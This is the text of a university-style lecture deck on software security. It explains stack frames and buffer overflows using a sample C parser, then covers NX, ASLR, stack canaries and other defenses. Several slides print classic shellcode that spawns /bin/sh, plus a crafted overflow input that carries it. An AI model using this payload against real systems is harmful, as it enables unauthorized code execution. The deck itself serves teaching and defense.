Download presentation
Presentation is loading. Please wait.
1
Software Security
2
Attacks against OS Exploiting software Exploiting authentication
Exploiting communication
3
Linux (32-bit) process memory layout
-0xFFFFFFFF Reserved for Kernel user stack shared libraries run time heap static data segment text segment (program) unused
4
text segment (program) callee saved registers
Stack Frame -0xC -0x -0x -0x user stack shared libraries run time heap static data segment text segment (program) unused arguments return address stack frame pointer exception handlers local variables callee saved registers To previous stack frame pointer To the point at which this function was called
5
Stack Frame A quick example to illustrate multiple stack frames
1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; 13: if (cmd[0] == ‘G’) 14: if (cmd[1] == ‘E’) 15: if (cmd[2] == ‘T’) 16: if (cmd[3] == ‘ ’) 17: header_ok = 1; 18: if (!header_ok) return -1; 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } A quick example to illustrate multiple stack frames
6
What are buffer overflows?
args ret address frame ptr local variables callee saved registers 0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef20dc 0xbf02224c 0x . 0x 0x parse’s frame parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff760 fp 0xbffff75c return address 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } Gcc 4.4.5 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x args ret address frame ptr local variables callee saved registers out (input file) 0xbffff6b0 in file 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
7
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef20dc 0xbf022261 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
8
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef20dc 0xbf026161 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
9
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef20dc 0xbf616161 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
10
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef20dc 0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!=‘\n’) { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
11
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef2061 0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
12
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbfef6161 0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
13
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0xbffff6c4 0x 0xbf616161 0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
14
What are buffer overflows?
0x0804a008 0x080485a2 0xbffff778 0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x d out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
15
What are buffer overflows?
0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
16
What are buffer overflows?
0x 0x . 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
17
What are buffer overflows?
0x 0x . 0x 0x 0xbffff6c4 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: out[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in 0xbffff6ac return address GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 0xbffff6a8 stack frame ptr And when you try to return from parse… 0xbffff69c i … SEGFAULT, since 0x is not a valid location to return to. (Unallocated)
18
Basic Stack Exploit Overwriting the return address allows an attacker to redirect the flow of program control Instead of crashing, this can allow arbitrary code to be executed Code segment called “shellcode” Example: the execve system call is used to execute a file With the correct permissions, execve(“/bin/sh”) can be used to obtain a root-level shell.
19
crafted return address
Basic Stack Exploit So suppose we overflow with a string that looks like the assembly of: Shell Code: exec(“/bin/sh”) To previous stack frame pointer To the instruction at which this function was called To previous stack frame pointer To the instruction at which this function was called arguments return address stack frame pointer buffer arguments return address stack frame pointer buffer ShellCode crafted return address buffer “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh” When the function exits, the user gets shell !!! Note: shellcode runs in stack. (exact shell code by Aleph One)
20
callee saved registers
Basic Stack Exploit 0x0804a008 0x080485a2 0x 0x . 0xfffff764 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
21
callee saved registers
Basic Stack Exploit 0x0804a008 0x 0x 0x . 0xfffff764 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
22
callee saved registers
Basic Stack Exploit 0x0804a008 0x0804f764 0x 0x . 0xfffff764 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
23
callee saved registers
Basic Stack Exploit 0x0804a008 0x08fff764 0x 0x . 0xfffff764 0x 0x parse.c 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
24
callee saved registers
Basic Stack Exploit 0x0804a008 0xfffff764 0x 0x . 0x 0x parse.c 0xbffff764 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ file (input file) 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
25
callee saved registers
Basic Stack Exploit shellcode 0x 0xfffff764 0x . 0x 0x parse.c 0xbffff764 1:void copy_lower (char* in, char* out) { 2: int i = 0; 3: while (in[i]!=‘\0’ && in[i]!='\n') { 4: out[i] = tolower(in[i]); 5: i++; 6: } 7: buf[i] = ‘\0’; 8:} 0xbffff760 fp 0xbffff75c return address args: ret addr frame ptr exception handlers local variables callee saved registers 0xbffff758 stack frame ptr 0xbffff74c 0xbffff748 0xbffff744 0xbffff740 0xbffff73c . 0xbffff7d8 0xbffff6c4 0xbffff6c0 url header_ok buf[4] buf[3,2,1,0] cmd[127,126,125,124] . cmd[25,26,27,28] cmd[7,6,5,4] cmd[3,2,1,0] 9:int parse(FILE *fp) { 10: char buf[5], *url, cmd[128]; 11: fread(cmd, 1, 128, fp); 12: int header_ok = 0; . 19: url = cmd + 4; 20: copy_lower(url, buf); 21: printf(“Location is %s\n”, buf); 22: return 0; } 23: /** main to load a file and run parse */ 0xbffff6b4 0xbffff740 0xbffff6c4 0x080485a2 0xbffff758 0x out file (input file) 0xbffff6b0 in GET AAAAAAAAAAAAAAAAAAAAAAAA\x64\xf7\xff\xffAAAA\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh 0xbffff6ac return address 0xbffff6a8 stack frame ptr 0xbffff69c i (Unallocated)
26
Other exploits in Return-Oriented Programming
Return to shared library Reuse existing code Small code segments are called “gadgets” Link them to finish a task for the attacker
27
Defenses Non-execute (NX) Address Space Layout Randomization (ASLR)
StackGuard
28
Defense I: non-execute (W^X)
Prevent attack code execution by marking stack and heap as non-executable NX-bit on AMD Athlon 64, XD-bit on Intel P4 Prescott NX bit in every Page Table Entry (PTE) Deployment: Linux (via PaX project); OpenBSD Windows: since XP SP2 (DEP [Data Execute Prevention]) Boot.ini : /noexecute=OptIn or AlwaysOn Visual Studio: /NXCompat[:NO] OptIn: Windows processes are protected. Other apps must OptIn for protection using sysdm.cpl program. /NXCOMPAT: tells linker that app is compatible with DEP. :NO indicates don’t use DEP. DEP: data execute prevention Dawn Song
29
Defense II: Address Randomization
ASLR: (Address Space Layout Randomization) Start stack at a random location Start heap at a random location Map shared libraries to rand location in process memory Attacker cannot jump directly to exec function Deployment: (/DynamicBase) Windows Vista: 8 bits of randomness for DLLs aligned to 64K page in a 16MB region choices Linux (via PaX): 16 bits of randomness for libraries More effective on 64-bit architectures Other randomization methods: Instruction Set Randomization (ISR) -0xFFFFFFFF Reserved for Kernal unused user stack shared libraries run time heap static data segment text segment (program) Reserved for Kernal user stack shared libraries run time heap static data segment text segment (program) unused -0xC -0xBFF9AB20 -0x Combination of NX and ASLR is effective. /DynamicBase: Visual Studio flag to indicate that application works with ASLR. -0x -0x
30
Defense III: StackGuard
Run time tests for stack integrity Embed “canaries” in stack frames and verify their integrity prior to function return arguments return address stack frame pointer CANARY local variables Dawn Song
31
Canary Types Random canary:
Random string chosen at program startup. Insert canary string into every stack frame. Verify canary before returning from function. Exit program if canary changed. Turns potential exploit into DoS. To exploit successfully, attacker must learn current random string. Terminator canary: Canary = {0, newline, linefeed, EOF} String functions will not copy beyond terminator. Attacker cannot use string functions to corrupt stack. Dawn Song
32
StackGuard (Cont.) StackGuard implemented as a GCC patch.
Program must be recompiled. Low performance effects: 8% for Apache. Note: Canaries don’t provide full proof protection. Some stack smashing attacks leave canaries unchanged
33
StackGuard enhancements: ProPolice
ProPolice (IBM) gcc (-fstack-protector) Rearrange stack layout to prevent ptr overflow. arguments return address stack frame pointer CANARY local string buffers local string variables local non-buffer variables copy of pointer args String Growth Protects pointer args and local pointers from a buffer overflow /ProPolice: replicates pointers in arguments to bottom of local vars area. ProPolicy: also called SSP – stack smashing protection. /GS: Arguments, return address, cookie, arrays, local variables, copies of some pointer arguments, alloca Stack Growth pointers, but no arrays
34
Other Defenses StackShield
At function prologue, copy return address RET and SFP to “safe” location (beginning of data segment) Upon return, check that RET and SFP is equal to copy. Implemented as assembler file processor (GCC) Control Flow Integrity (CFI) A combination of static and dynamic checking Statically determine program control flow Dynamically enforce control flow integrity
Similar presentations
© 2025 SlidePlayer.com. Inc.
All rights reserved.